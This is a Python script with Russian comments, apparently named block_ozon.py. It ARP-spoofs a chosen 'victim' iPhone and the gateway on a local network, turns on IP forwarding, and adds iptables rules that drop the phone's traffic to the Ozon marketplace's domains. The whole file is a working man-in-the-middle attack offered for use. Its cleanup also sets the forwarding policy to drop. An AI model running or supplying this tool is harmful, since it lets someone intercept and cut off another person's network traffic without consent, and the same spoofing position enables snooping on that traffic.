---

#!/usr/bin/env python3
import subprocess
import time
import socket
import sys
import os
import signal
import re
import threading

# Список доменов Ozon для блокировки
DOMAINS = [
    "ozon.ru",
    "www.ozon.ru",
    "api.ozon.ru",
    "api-seller.ozon.ru",
    "ozon-dostavka.ru",
    "seller.ozon.ru",
    "finance.ozon.ru",
    "business.ozon.ru",
    "card.ozon.ru",
]

# Глобальные переменные для завершения
arpspoof_pids = []
interface = ""
gateway_ip = ""
target_ip = ""

def run_command(cmd, check=True):
    """Запускает команду и возвращает вывод"""
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    if check and result.returncode != 0:
        print(f"Ошибка: {result.stderr}")
        sys.exit(1)
    return result.stdout.strip()

def get_interface():
    """Возвращает имя активного Wi-Fi интерфейса"""
    try:
        output = run_command("ip route | grep default", check=False)
        if not output:
            print("Не удалось найти интерфейс по умолчанию. Укажите вручную.")
            return input("Введите имя интерфейса (например, wlan0): ").strip()
        # Извлекаем интерфейс из строки типа "default via 192.168.1.1 dev wlan0 ..."
        parts = output.split()
        for i, part in enumerate(parts):
            if part == "dev" and i+1 < len(parts):
                return parts[i+1]
        return None
    except:
        return input("Введите имя интерфейса (например, wlan0): ").strip()

def get_gateway():
    """Определяет IP-адрес шлюза"""
    try:
        output = run_command("ip route | grep default")
        # Извлекаем IP после "via"
        match = re.search(r'via (\d+\.\d+\.\d+\.\d+)', output)
        if match:
            return match.group(1)
        else:
            return None
    except:
        return None

def resolve_ip(domain):
    """Получает IP-адрес домена"""
    try:
        ip = socket.gethostbyname(domain)
        return ip
    except:
        return None

def enable_ip_forward():
    run_command("sudo sysctl -w net.ipv4.ip_forward=1")

def start_arpspoof():
    """Запускает arpspoof для жертвы и шлюза"""
    global arpspoof_pids
    cmd1 = f"sudo arpspoof -i {interface} -t {target_ip} {gateway_ip}"
    cmd2 = f"sudo arpspoof -i {interface} -t {gateway_ip} {target_ip}"
    
    # Запускаем в фоне с nohup (чтобы не блокировать)
    p1 = subprocess.Popen(cmd1, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    p2 = subprocess.Popen(cmd2, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    arpspoof_pids = [p1.pid, p2.pid]
    print("ARP-spoofing запущен.")

def setup_iptables_block(ip_list):
    """Настраивает iptables для блокировки списка IP-адресов"""
    print("Настройка iptables для блокировки Ozon...")
    # Разрешаем форвардинг
    run_command("sudo iptables -P FORWARD ACCEPT")
    # Добавляем блокирующие правила для каждого IP
    for ip in ip_list:
        if ip:
            run_command(f"sudo iptables -A FORWARD -d {ip} -j DROP")
            print(f"Блокировка {ip}")
    print("Готово.")

def cleanup():
    """Очищает iptables и убивает arpspoof"""
    print("Очистка...")
    # Удаляем все правила FORWARD
    run_command("sudo iptables -F FORWARD", check=False)
    # Убиваем процессы arpspoof
    for pid in arpspoof_pids:
        try:
            os.kill(pid, signal.SIGTERM)
        except:
            pass
    # Возвращаем политику FORWARD в DROP (по умолчанию)
    run_command("sudo iptables -P FORWARD DROP", check=False)
    print("Очистка завершена.")
    sys.exit(0)

def signal_handler(sig, frame):
    cleanup()

def main():
    global interface, gateway_ip, target_ip
    print("=== Блокировка Ozon на устройстве в локальной сети ===")
    print("Убедитесь, что вы запускаете скрипт от root (sudo).")
    
    # Проверяем права
    if os.geteuid() != 0:
        print("Запустите с sudo: sudo python3 block_ozon.py")
        sys.exit(1)

    # Определяем интерфейс
    interface = get_interface()
    if not interface:
        print("Не удалось определить интерфейс.")
        sys.exit(1)
    print(f"Интерфейс: {interface}")

    # Определяем шлюз
    gateway_ip = get_gateway()
    if not gateway_ip:
        gateway_ip = input("Введите IP-адрес шлюза (обычно 192.168.1.1): ").strip()
    print(f"Шлюз: {gateway_ip}")

    # Запрашиваем IP жертвы
    target_ip = input("Введите IP-адрес айфона (жертвы): ").strip()
    if not target_ip:
        print("IP не введён. Выход.")
        sys.exit(1)
    print(f"Цель: {target_ip}")

    # Получаем IP-адреса для блокировки
    print("Получение IP-адресов для доменов Ozon...")
    ip_list = set()
    for domain in DOMAINS:
        ip = resolve_ip(domain)
        if ip:
            ip_list.add(ip)
            print(f"{domain} -> {ip}")
        else:
            print(f"Не удалось разрешить {domain}")

    if not ip_list:
        print("Не удалось получить ни одного IP-адреса Ozon. Возможно, проблема с DNS.")
        sys.exit(1)

    print(f"Найдено {len(ip_list)} уникальных IP-адресов.")

    # Регистрируем обработчик сигнала для Ctrl+C
    signal.signal(signal.SIGINT, signal_handler)

    # Включаем IP-форвардинг
    enable_ip_forward()
    print("IP-форвардинг включен.")

    # Запускаем ARP-spoofing
    start_arpspoof()

    # Настраиваем iptables
    setup_iptables_block(list(ip_list))

    print("Блокировка активна. Нажмите Ctrl+C для остановки.")
    # Бесконечное ожидание
    while True:
        time.sleep(1)

if __name__ == "__main__":
    main()